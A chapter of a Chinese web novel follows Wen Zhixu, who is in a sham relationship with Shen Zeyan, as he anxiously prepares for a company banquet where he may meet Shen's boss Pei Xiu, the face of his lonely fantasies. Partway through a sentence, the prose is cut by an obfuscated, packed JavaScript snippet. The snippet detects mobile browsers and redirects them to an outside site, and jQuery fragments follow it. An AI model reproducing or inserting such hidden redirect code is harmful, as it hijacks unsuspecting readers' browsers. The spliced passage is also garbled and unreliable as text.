下午，温知许在厨房打算热一杯牛奶暖胃，客厅里手机响了，他没有理，大概又是什么诈骗电话，因为这两年，他几乎断了所有社交，又有谁会在这个时候打给他。
电话停了，又响。
他终于慢悠悠走过来，拿起手机一看，怔了怔，沈泽言竟会给自己来电话，犹豫了一下，才接。
手机贴在耳边，听见对方怒斥的声音，“搞什么？电话不接？算了。”
“……”
没等温知许解释，对方又继续冷言冷语道：“周六晚上公司晚宴，你跟我一起去。”
通知，没有商量的余地。
温知许顿了顿，轻声说：“好。”
“正装，别穿那些乱七八糟的，不上台面的。”沈择言补充了一句，不耐烦，“裴总亲自过问家属出席率，公司高层必须带人到场，你到时候安分点，别给我丢人。”
裴总。
温知许的心脏跳了一下，很轻的一下，轻到他以为是自己听错了。可那个名字落进耳朵里的时候，他的手确实不受控制地蜷缩了一下，像被什么东西轻轻蛰了一口。
“知道了。”他说。
沈择言没再多说一个字，电话直接被挂断，忙音在耳边单调地响了好几秒，温知许才缓缓把手机拿下来，暗下来的屏幕映出他苍白模糊的轮廓，眉眼温顺，看不出情绪。
微波炉叮了一声，牛奶热好了。
他没去拿，站在原地，盯着茶几上快枯死的绿萝，叶片边缘卷曲发黄，像被遗忘了太久，勉强撑着一口气活着，像极了自己。
裴总，裴修。
温知许在心底轻轻念了一遍这个名字，舌尖微卷，没发出声音，嘴唇却不自觉地轻轻动了动。
他说不清自己在紧张什么，不过是沈择言的上司，不过是人群看过一眼的陌生人，他本该规规矩矩叫一声裴总，仅此而已。
可他的耳尖还是不受控制地烫了一下。
他抬手摸了摸，耳尖皮肤确实比别处热，像被太阳晒过的水面，表面平静，底下却是温的。
他赶紧把手放下来，转身去拿牛奶，杯子很烫，他握了一会儿才端起来，手掌被灼出浅浅的红。
离周六还有三天。
温知许坐在餐桌前，在想那天要穿什么。
衣柜里的衣服不多，大多是素净的颜色——白色、米色、浅灰，没有花纹，没有装饰，像他这个人一样，安安静静地缩在角落里，不争不抢，不声不响。
沈择言说“别穿那些乱七八糟的”，可他的衣柜里根本就没有“乱七八糟的”东西。
他挑不出能让人眼前一亮、能配得上“高管家属”身份的衣服。他只有那些朴素不起眼，穿上之后就自动消失在人群里的衣服。
就像他这个人，永远不起眼，永远是陪衬。
温知许把杯子里的牛奶喝完，嘴唇上沾了一层白色的奶沫，他拿纸巾擦了，动作慢得刻意，像是在拖延什么。
他在想，如果可以不去的話，该多好。
可沈择言说了，是裴总亲自过问的家属出席率，高层必须带家属，他是沈择言对外的伴侣，是这场虚假关系里，唯一能拿得出手的门面，他不去，就是让沈择言难堪。
其实他不怕沈择言不高兴，沈择言的情绪，早已伤不到他，可他怕的，是晚宴上的场景，怕自己穿着朴素的衣服，被沈择言用嫌弃不耐烦的眼神打量。
怕宴会厅里觥筹交错，别人都成双成对，唯有他孤零零坐在角落。
更怕看见那个人——
他的手下意识握紧杯子。
他怕看见裴修，怕撞见那双清冷深邃，仿佛能看透一切的眼睛，怕听见他低沉磁性的嗓音，更怕在那样正式的场合，不受控制地想起无数个深夜的臆想——
那道高大挺拔的模糊身影，微凉有力的手掌，会在幻觉里，温柔安抚他的“别怕”。
温知许把杯子放进水池，开水龙头冲了很久，直到杯壁上的奶渍被水流冲刷干净，他才关上水，把手擦干。
不能想。不能想那些。
那是假的。
是他在孤独的深夜里，自己给自己编出来的梦。
那个人不存在，那张脸是他臆想出来的，那个声音是他渴望太久之后，大脑自动合成的幻听。
他不是不知道，他只是——太想要了。
太想要一个拥抱，太想要一句关心，太想要一个人，在所有人都看不见他的时候，朝他走过来，伸出手，说一句“我在”。
可那个人不是裴修。
裴修是沈择言的上司，是他不该多看一眼的人。那些深夜羞耻让他浑身发烫的幻想，跟裴修没有关系。他只是碰巧长了一张相似的脸。
温知许深吸一口气，把厨房的灯关了。
接下来的三天，他过得像一只被放在热锅上的蚂蚁。
慌。
一种说不清来由的慌，像梅雨季的空气，看不见摸不着，却无处不在，黏糊糊地贴在他每一寸皮肤上。
他翻了几次衣柜。
把所有能穿的衣服全拿出来，一件一件仔细翻看，又一件一件地挂回去，没有一件合心意。
又把挂回去的衣服重新取出来，胡乱搭配了两套，站在镜子前比了又比，总觉得太过别扭，又统统拆开。
最后只拿出了一件白色衬衫，领口有一圈极细的暗纹，不仔细看根本发现不了，这是他衣柜里最体面的一件，还是当初配合沈择言演戏时买的，只穿过一次，就被束之高阁。
他对着镜子穿上，衬衫有些偏大，肩线微微垮着，领口空出一截，衬得他越发消瘦单薄，像一阵风就能吹倒。
他找了条深蓝色领带系上，又觉得太过正式刻板，解下来换浅灰色，依旧不合适，最后干脆什么都不戴，就那样敞着领口。
镜子里的人，苍白、安静、手足无措，像个被临时拉来充数的道具，笨拙又可怜。
温知许对着镜子里的自己看了很久，然后把衬衫脱下来，挂回衣柜。
他坐在床边，双手撑在膝盖上，低着头，看着自己光着的脚。
他在想沈择言那句——“别给我丢人。”
怎样算丢人？穿得太素算丢人？长得不够好看算丢人？站在他身边不会说话、不会敬酒、不会替他周旋，算丢人？
他什么都不会，不会周旋应酬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377950|199761||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，不会笑脸逢迎，只会安安静静待在角落，等一切结束，独自回家，这样的他，带出去，确实是丢人的。
可他不想去，从不是怕丢人，是怕那种格格不入的场合，更怕在那里，遇见裴修。
怕他坐在主位，西装革履，清冷矜贵，被众人簇拥，像遥不可及的神明，而自己坐在角落，只能偷偷看一眼，再一遍遍告诉自己，别想了，那不是你能靠近的人。
温知许把脸埋进手心里，掌心有汗湿了他眼皮。
他已经很久没有在白天想过那个人了。
那些被他锁在深夜的幻想，被沈择言一个电话彻底撬开，密密麻麻的思绪涌上来，堵得他心口发闷。他怕自己控制不住心跳，控制不住目光，更怕被人看穿心底那些羞耻的妄念。
周五的晚上，他又把白衬衫取了出来，挂在衣柜门把手上，对着它发了许多的呆。
然后拿起手机，想给沈择言发消息，打了“我不舒服，能不能不去”，犹豫再三，还是一字一字删掉，反复几次，最终什么都没发，把手机放在枕边，关了灯。
黑暗里，他睁着眼睛，盯着天花板，毫无睡意。
他在想，如果那天晚上，他没有去那场晚宴，没有在人群中抬起头，没有看见裴修的脸——那他现在，是不是就不会这么慌？
可他又清楚地知道，就算给他重新选择的机会，他还是会去。还是会抬起头，还是会看见那张脸，会心跳失控，会在这个失眠的深夜里，一遍一遍地想起那个人。
因为他太孤独了。
孤独到，连一个幻觉里的人，都舍不得放手。
周六下午，温知许站在玄关的镜子前，最后一次检查自己的穿着。
白衬衫，深灰色西裤，黑色皮鞋，没有多余装饰，干净素朴，头发梳得整齐，露出光洁的额头，整个人像一张干净的白纸，温顺又无害。
沈择言从卧室出来，看了他一眼，从上到下扫了一遍，没说好，也没说不好，只是皱了一下眉头，然后拿起车钥匙：“走吧。”
温知许跟在他身后，出门的时候回头看了一眼空荡荡的客厅。
茶几上的绿萝终于彻底枯死了，叶片蜷成褐色的一团，垂在花盆边缘。他看了两秒，转身关上门。
电梯往下走的时候，沈择言站在他前面半步的位置，看着电梯门上映出的两人的影子。温知许低着头，盯着自己的鞋尖，全程没有说话。
沈择言忽然开口：“到了晚宴现场，少说话，少喝酒，别像上次一样到处乱走，乖乖待在我身边就行。”
温知许点头，“好。”
“还有，裴总大概率会过来打招呼，他问什么你答什么，别多话，也别乱看。”
乱看。
两个字让温知许的睫毛颤了一下，幅度很小，小到沈择言根本没有注意到。
他继续低着头，轻声说：“知道了。”
电梯到了一楼，门打开，温知许跟在沈择言身后，坐进轿车后座，系好安全带。
车窗外，城市灯火次第亮起，流光溢彩，他靠在车窗上，冰凉的玻璃贴着额头，心绪纷乱。
别怕，别乱看，别乱想，别丢人。